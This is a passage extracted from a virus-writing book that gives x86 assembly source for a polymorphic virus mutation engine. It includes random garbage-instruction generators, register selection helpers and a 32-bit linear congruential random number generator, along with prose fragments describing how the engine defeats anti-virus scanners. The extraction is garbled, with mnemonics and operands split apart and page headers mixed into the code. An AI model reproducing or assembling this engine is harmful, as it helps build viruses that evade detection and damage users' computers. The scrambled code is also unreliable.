some simple flags-only instructions ;35 total possibilities here RAND_INSTR1: sub [bx][si],bx ;make sure to clean up! push cx RAND_INSTR1A: cmp cx,2 ;do we have bytes available? jc RI11 ;no, go handle byte instr’s cmp cx,4 ;do we have bytes? jc RI12 RI14: mov call and jnz mov call mov al,1 GET_RANDOM al,80H RI12 al,11111111B GET_REGISTER ah,al ;4 byte solutions (16 possible) ;50-50 chance of staying here ;get any register ;set up register byte for AND/OR Polymorphic Viruses RI14A: RI14B: RI12: RI12A: RI12B: RI11: RI11A: xor mov mov call and jnz or mov xor jmp or mov mov stosw mov stosw pop sub ret al,al cx,ax al,1 GET_RANDOM al,80H RI14A cx,0C881H ax,cx cx,cx SHORT RI14B cx,0E081H ax,cx cx,0FFFFH mov call and cmp je mov call mov mov shl or or mov mov call and jz mov jmp mov mov stosw pop sub ret al,2 GET_RANDOM al,3 al,3 RI11 al,11111111B GET_REGISTER ah,al cl,3 ah,cl ah,al ah,0C0H ch,ah al,1 GET_RANDOM al,80H RI12A al,9 SHORT RI12B al,21H ah,ch mov call and mov mov or jz mov dec jz mov dec jz al,2 GET_RANDOM al,3 ah,al al,0F8H ah,ah RI11A al,0F9H ah RI11A al,0F5H ah RI11A stosb pop dec ret 461 cx cx ;select “and” or “or” ;OR R,0 ;AND R,FFFF ax,cx cx cx,4 ;2 byte solutions (16 possible) ;75% chance of staying here ;25% of taking byte solution ;get any register ;set up register byte for AND/OR ;select “and” or “or” ;OR R,R ;AND R,R cx cx,2 ;clc instruction ;stc instruction ;cmc instruction ;If this routine is called, one register is modified, as specified in al It ;assumes that flags may be modified RAND_INSTR2: sub [bx][si],bx ;make sure to clean up! 462 The Giant Black Book of Computer Viruses push push mov xor call pop push cmp jc cmp jc cx cx dx,ax al,0FFH GET_REGISTER cx ax cx,2 RI21 cx,3 RI22 RI23: ;only byte available ;only bytes avaiable al,1 GET_RANDOM al,1 RI22 al,16 GET_RANDOM cx,ax ax al,0B8H mov call and jnz mov call mov shl pop or or mov mov stosw pop sub ret al,1 GET_RANDOM al,1 RI21 al,11111111B GET_REGISTER cl,3 al,cl cx al,cl al,0C0H ah,al al,89H and pop jnz push mov call mov and jz or pop or mov stosb pop dec ret dh,1 ax RI20 ax al,1 GET_RANDOM ah,40H al,80H RI21A ah,8 cx ah,cl al,ah pop jmp cx RAND_INSTR1A ;get random number ;decide byte or ;X to use in generator ;get register ;mov R,X ax,cx cx cx,3 RI22: ;2 bytes, modify one register ;decide byte or ;do one byte ;get a random register ;put both registers in place ;mov r2,r1 cx cx,2 RI21: RI20: ;save it ;3 bytes, modify one register mov call and jnz mov call mov pop or stosb mov stosw pop sub ret RI21A: ;set legal, allowed regs ;get a random, legal reg cx cx ;one byte, modify one register ;can we modify flags? ;no, exit this one ;do inc/dec only ;assume INC R (40H+R) ;decide which ;do DEC R (48H+R) ;put register in Polymorphic Viruses 463 ;If this routine is called, up to two registers are modified, as specified in ;al RAND_INSTR3: ;NOT IMPLEMENTED jmp RAND_INSTR2 ;This routine gets a random register using the mask al (as above) ;In this mask, a indicates an acceptable register On return, the random ;register number is in al GET_REGISTER: xor cl,cl mov ch,al mov ah,8 CNTLP: shr al,1 jnc CNT1 inc cl CNT1: dec ah jnz CNTLP mov al,8 call GET_RANDOM xor ah,ah div cl ;ah=rand #, ch=mask mov al,1 GRL: test al,ch jnz GR1 shl al,1 jmp GRL GR1: or ah,ah jz GR2 dec ah shl al,1 jmp GRL GR2: xor ah,ah GR3: shr al,1 jc GR4 inc ah jmp GR3 GR4: mov al,ah ret ;This converts a register number in al into a displacement ModR/M value and ;puts it back in al Basically, 7—>5, 6—>4, 5—>6, 3—>7 GET_DR: cmp al,6 jnc GDR1 add al,3 cmp al,8 je GDR1 mov al,9 GDR1: sub al,2 ret ;Create a bit mask from GEN_MASK: mov mov shl ret word register al ;Create a word bit mask GEN_MASK_BYTE: mov mov shl mov mov shr from byte register al cl,al al,1 al,cl cl,al al,1 al,cl ah,al cl,4 ah,cl 464 The Giant Black Book of Computer Viruses or and ret al,ah al,0FH END The LCG32.ASM Source Put the following into a file called LCG32.ASM and assemble it to an object file for linking with Many Hoops ;32 bit Linear Congruential Pseudo-Random Number Generator model tiny code 386 PUBLIC PUBLIC RANDOM_SEED GET_RANDOM ;The generator is defined by the equation ; ; X(N+1) = (A*X(N) + C) mod M ; ;where the constants are defined as ; M DD 134217729 A DD 44739244 C DD 134217727 RAND_SEED DD ;X0, initialized by RANDOM_SEED ;Set RAND_SEED up with a random number to seed the pseudo-random number ;generator This routine should preserve all registers! it must be totally ;relocatable! RANDOM_SEED PROC NEAR push si push ds push dx push cx push bx push ax call RS1 RS1: pop bx sub bx,OFFSET RS1 xor ax,ax mov ds,ax mov si,46CH lodsd xor edx,edx mov ecx,M div ecx mov cs:[bx][RAND_SEED],edx pop ax pop bx pop cx pop dx pop ds pop si retn RANDOM_SEED ENDP ... even so they pose problems for most anti-virus software 430 The Giant Black Book of Computer Viruses To encrypt the main body of the virus, one simply sets up a data area where a copy of the virus... 436 The Giant Black Book of Computer Viruses Here, RAND_INSTR will generate one instruction—or sequence of instructions—and then put the instruction in the work space, and adjust cx to reflect the. .. Now, rather than looking for these bytes directly, the scanner could look for the xor of bytes and 2, bytes and 3, etc These would be given by 30H 37H 00H 70 H and they don’t change whether the code

Ngày đăng: 14/08/2014, 18:22

Từ khóa liên quan

Mục lục

  • Polymorphic Viruses

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan